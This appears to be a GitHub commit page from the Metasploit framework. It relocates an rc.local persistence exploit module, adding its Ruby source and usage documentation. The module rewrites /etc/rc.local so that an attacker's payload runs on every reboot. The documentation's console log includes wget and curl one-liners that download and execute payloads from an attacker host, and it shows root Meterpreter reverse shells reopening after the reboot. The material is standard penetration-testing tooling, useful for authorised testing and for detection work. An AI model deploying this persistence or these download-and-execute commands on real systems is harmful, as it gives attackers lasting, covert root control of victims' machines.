Skip to content

Commit 8e86ec1

Browse files
committed
update rc_local to persistence mixin
1 parent 9efd3c3 commit 8e86ec1

File tree

4 files changed

+241
-111
lines changed

4 files changed

+241
-111
lines changed

documentation/modules/exploit/linux/local/rc_local_persistence.md

Lines changed: 0 additions & 46 deletions
This file was deleted.
Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
## Vulnerable Application
2+
3+
This module will edit `/etc/rc.local` in order to persist a payload.
4+
The payload will be executed on the next reboot.
5+
6+
Verified on Ubuntu 18.04.3
7+
8+
### Verification
9+
10+
1. Exploit a box and get a **root** session
11+
2. `use exploit/linux/persistence/rc_local`
12+
3. `set SESSION <session>`
13+
4. `set PAYLOAD <payload>`
14+
5. `set LHOST <lhost>`
15+
6. `exploit`
16+
17+
## Options
18+
19+
### PAYLOAD_NAME
20+
21+
Name of the payload file if a `cmd` payload is not used. Defaults to a random name
22+
23+
## Scenarios
24+
25+
### Ubuntu 18.04.3
26+
27+
Initial access vector via web delivery
28+
29+
```
30+
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
31+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
32+
verbose => true
33+
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
34+
lhost => 111.111.1.111
35+
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
36+
[*] Using configured payload python/meterpreter/reverse_tcp
37+
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
38+
srvport => 8181
39+
resource (/root/.msf4/msfconsole.rc)> set target 7
40+
target => 7
41+
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
42+
payload => linux/x64/meterpreter/reverse_tcp
43+
resource (/root/.msf4/msfconsole.rc)> set lport 4545
44+
lport => 4545
45+
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
46+
URIPATH => l
47+
resource (/root/.msf4/msfconsole.rc)> run
48+
[*] Exploit running as background job 0.
49+
[*] Exploit completed, but no session was created.
50+
[*] Starting persistent handler(s)...
51+
[*] Started reverse TCP handler on 111.111.1.111:4545
52+
[*] Using URL: http://111.111.1.111:8181/l
53+
[*] Server started.
54+
[*] Run the following command on the target machine:
55+
wget -qO zLeqpMSF --no-check-certificate http://111.111.1.111:8181/l; chmod +x zLeqpMSF; ./zLeqpMSF& disown
56+
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
57+
[*] Transmitting intermediate stager...(126 bytes)
58+
[*] Sending stage (3045380 bytes) to 222.222.2.222
59+
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:48462) at 2025-02-09 06:54:32 -0500
60+
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
61+
[*] Starting interaction with 1...
62+
(Meterpreter 1)(/home/ubuntu) > getuid
63+
Server username: root
64+
(Meterpreter 1)(/home/ubuntu) > sysinfo
65+
Computer : ubuntu18desktop.local
66+
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
67+
Architecture : x64
68+
BuildTuple : x86_64-linux-musl
69+
Meterpreter : x64/linux
70+
(Meterpreter 1)(/home/ubuntu) > background
71+
[*] Backgrounding session 1...
72+
```
73+
74+
Persistence
75+
76+
```
77+
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/rc_local
78+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
79+
[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > set session 1
80+
session => 1
81+
[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > set WritableDir /home/ubuntu/
82+
WritableDir => /home/ubuntu/
83+
[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > exploit
84+
[*] Command to run on remote host: curl -so ./GvwBrOrMxFD http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./GvwBrOrMxFD;./GvwBrOrMxFD&
85+
[*] Exploit running as background job 1.
86+
[*] Exploit completed, but no session was created.
87+
[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) >
88+
[*] Fetch handler listening on 111.111.1.111:8080
89+
[*] HTTP server started
90+
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
91+
[*] Started reverse TCP handler on 111.111.1.111:4444
92+
[*] Running automatic check ("set AutoCheck false" to disable)
93+
[+] The target appears to be vulnerable. /etc/rc.local is writable
94+
[*] Reading /etc/rc.local
95+
[*] Created /etc/rc.local backup: /root/.msf4/loot/20250209065535_default_222.222.2.222_rc.local_367870.txt
96+
[*] Patching /etc/rc.local
97+
[+] Payload will be triggered at next reboot
98+
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250209.5536/ubuntu18desktop.local_20250209.5536.rc
99+
```
100+
101+
Reboot host
102+
103+
```
104+
[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) > sessions -i 1
105+
[*] Starting interaction with 1...
106+
(Meterpreter 1)(/home/ubuntu) > shell
107+
Process 2052 created.
108+
Channel 4 created.
109+
reboot
110+
[*] 222.222.2.222 - Meterpreter session 1 closed. Reason: Died
111+
Terminate channel 4? [y/N] y
112+
[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact <id> --timeout <value>
113+
[msf](Jobs:2 Agents:0) exploit(linux/persistence/rc_local) >
114+
[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
115+
[*] Sending payload to 222.222.2.222 (curl/7.58.0)
116+
[*] Transmitting intermediate stager...(126 bytes)
117+
[*] Sending stage (3045380 bytes) to 222.222.2.222
118+
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:36260) at 2025-02-09 06:56:39 -0500
119+
[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) > sessions -i 2
120+
[*] Starting interaction with 2...
121+
(Meterpreter 2)(/) > getuid
122+
Server username: root
123+
(Meterpreter 2)(/) >
124+
```

modules/exploits/linux/local/rc_local_persistence.rb

Lines changed: 0 additions & 65 deletions
This file was deleted.
Lines changed: 117 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,117 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Post::Unix
11+
include Msf::Exploit::EXE # for generate_payload_exe
12+
include Msf::Exploit::Local::Persistence
13+
include Msf::Auxiliary::Report
14+
prepend Msf::Exploit::Remote::AutoCheck
15+
include Msf::Exploit::Deprecated
16+
moved_from 'exploits/linux/local/rc_local_persistence'
17+
18+
def initialize(info = {})
19+
super(
20+
update_info(
21+
info,
22+
'Name' => 'rc.local Persistence',
23+
'Description' => %q{
24+
This module will edit /etc/rc.local in order to persist a payload.
25+
The payload will be executed on the next reboot.
26+
Verified on Ubuntu 18.04.3
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' => [ 'Eliott Teissonniere' ],
30+
'Platform' => [ 'unix', 'linux' ],
31+
'Arch' => [
32+
ARCH_CMD,
33+
ARCH_X86,
34+
ARCH_X64,
35+
ARCH_ARMLE,
36+
ARCH_AARCH64,
37+
ARCH_PPC,
38+
ARCH_MIPSLE,
39+
ARCH_MIPSBE
40+
],
41+
'Payload' => {
42+
'BadChars' => '#%\n"'
43+
},
44+
'References' => [
45+
['ATT&CK', Mitre::Attack::Technique::T1037_004_RC_SCRIPTS]
46+
],
47+
'SessionTypes' => [ 'shell', 'meterpreter' ],
48+
'DisclosureDate' => '1980-10-01', # The rc command appeared in 4.0BSD.
49+
'Targets' => [ ['Automatic', {}] ],
50+
'Privileged' => true,
51+
'Notes' => {
52+
'Stability' => [CRASH_SAFE],
53+
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
54+
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
55+
},
56+
'DefaultTarget' => 0
57+
)
58+
)
59+
register_options([
60+
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
61+
])
62+
end
63+
64+
def check
65+
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
66+
# a few notes for those who like to read source code. On Ubuntu 18.04.3, when no
67+
# /etc/rc.local file exists, systemctl status rc.local shows inactive (dead).
68+
# When /etc/rc.local exists, systemctl status rc.local shows active (exited).
69+
# so checking the service status isn't necessarily helpful.
70+
if exists?('/etc/rc.local')
71+
return CheckCode::Safe('/etc/rc.local isnt writable') unless writable?('/etc/rc.local')
72+
else
73+
return CheckCode::Safe('/etc/ isnt writable') unless writable?('/etc/')
74+
end
75+
76+
CheckCode::Appears('/etc/rc.local is writable')
77+
end
78+
79+
def install_persistence
80+
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
81+
rc_path = '/etc/rc.local'
82+
83+
print_status "Reading #{rc_path}"
84+
85+
# read /etc/rc.local, but remove `exit 0`
86+
rc_local = '#!/bin/sh'
87+
if exists? rc_path
88+
rc_local = read_file(rc_path).gsub(/^exit.*$/, '')
89+
backup_profile_path = store_loot('rc.local', 'text/plain', session, rc_local, 'rc.local', '/etc/rc.local backup')
90+
print_status("Created /etc/rc.local backup: #{backup_profile_path}")
91+
end
92+
93+
if payload.arch.first == 'cmd'
94+
# add payload and put back `exit 0`
95+
pload = payload.encoded
96+
pload = "#{pload} &" unless pload.end_with?('&')
97+
rc_local << "\n#{pload}\nexit 0\n"
98+
print_status "Patching #{rc_path}"
99+
else
100+
payload_path = datastore['WritableDir']
101+
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
102+
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
103+
payload_path << payload_name
104+
print_status("Uploading payload file to #{payload_path}")
105+
upload_and_chmodx payload_path, generate_payload_exe
106+
rc_local << "\n#{payload_path} &\nexit 0\n"
107+
@clean_up_rc << "rm #{payload_path}\n"
108+
end
109+
110+
# write new file
111+
write_file(rc_path, rc_local)
112+
chmod(rc_path, 0o755)
113+
114+
@clean_up_rc << "upload #{backup_profile_path} #{rc_path}\n"
115+
print_good('Payload will be triggered at next reboot')
116+
end
117+
end

0 commit comments

Comments
 (0)